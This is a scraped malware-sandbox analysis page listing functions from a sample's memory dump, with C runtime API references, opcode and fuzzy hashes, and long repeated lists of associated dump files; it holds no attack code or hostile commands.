Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: __freea
String ID: =m%
API String ID: 240046367-854977245
Opcode ID: ce7f63f459ccdc6d9f53402028c82bd3ae8eaed892c2d5e114a81bf4627c5650
Instruction ID: 92ebb576b4982aa7235b6eaf9af9aa577c74dca2763a572623c38241b5895cee
Opcode Fuzzy Hash: ce7f63f459ccdc6d9f53402028c82bd3ae8eaed892c2d5e114a81bf4627c5650
Instruction Fuzzy Hash: AA51C5F260021AAFEB215F64DC41EBB76A9DFC4750F15013AFE04BB291EB78DC1196A4

Function 003C3AC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 003C3B93
__Cnd_destroy_in_situ.LIBCPMT ref: 003C3B99
__Mtx_destroy_in_situ.LIBCPMT ref: 003C3BA2

Strings

=m%, xrefs: 003C3AD5, 003C3C07

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: =m%
API String ID: 3308344742-854977245
Opcode ID: 99f619887aeccf082e701f3ca605d98a668a996ea786ee89c0b4b65542ed813f
Instruction ID: b98c2fe485857e9df8ff52c1fa6d7b7dc761c4fe8ee62cda5cc74b557ca8f3d3
Opcode Fuzzy Hash: 99f619887aeccf082e701f3ca605d98a668a996ea786ee89c0b4b65542ed813f
Instruction Fuzzy Hash: 5B51B1716007049FDB25DF28D885F6AB7E4EF04720F158A6EE456CB791DB38AE00CB90

Function 003DC452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 003DC4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 003DC542
_xtime_get.LIBCPMT ref: 003DC561

Strings

=m%, xrefs: 003DC458

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: =m%
API String ID: 2858396081-854977245
Opcode ID: 476ad9984cbb7a0a752e010aed45420104e15b01165c7eb66ba5f24d31b74157
Instruction ID: 754375bbe87c5f5a907bbf17e25144dbc1227d03c25c044f80d3a7ae12636408
Opcode Fuzzy Hash: 476ad9984cbb7a0a752e010aed45420104e15b01165c7eb66ba5f24d31b74157
Instruction Fuzzy Hash: 71518C72930107CFCF12DF25E5819A977B6AF05310B26A59BE806AB355D730FD40CBA4

Function 003C32D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 003C3344
__Cnd_broadcast.LIBCPMT ref: 003C33CB
__Mtx_unlock.LIBCPMT ref: 003C33DF

Strings

=m%, xrefs: 003C32E4, 003C3393

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID: =m%
API String ID: 32384418-854977245
Opcode ID: df438848faae409cc88ebeeba865ee526927a5e8572a1a84c6e334867fcea461
Instruction ID: 4e3ede58937bafc9d435730492542234894458706a913885b5cad38cb7dcf8a6
Opcode Fuzzy Hash: df438848faae409cc88ebeeba865ee526927a5e8572a1a84c6e334867fcea461
Instruction Fuzzy Hash: 06415772A14604EBCB229B59E905B9BB7F8EF55720F00852FE805E7741EB74AA04C7A1

Function 003FFCC0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 003FFEE7
__fassign.LIBCMT ref: 003FFF04

Strings

=m%, xrefs: 003FFCCB

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: __fassign
String ID: =m%
API String ID: 3965848254-854977245
Opcode ID: 8fba382c2081c32ae661082431664fe0a6333dbe9d4f7b52599a40675b5afb19
Instruction ID: 8c706a45936957636ad5c110cee927cf9a720107f4452fe866edc1d482e83f1c
Opcode Fuzzy Hash: 8fba382c2081c32ae661082431664fe0a6333dbe9d4f7b52599a40675b5afb19
Instruction Fuzzy Hash: D8C19A71D0025C9FCF16CFA8C980AEDBBB5AF49304F28416AE955BB352D730AE46CB54

Function 003D71D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 003D73FC

Strings

=m%, xrefs: 003D71E4
0{=, xrefs: 003D72B3

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: 0{=$=m%
API String ID: 3366076730-1602397979
Opcode ID: 042d6a2cec92a087f3f36eb69696918648f4a116203c1dbfad940206fd44e931
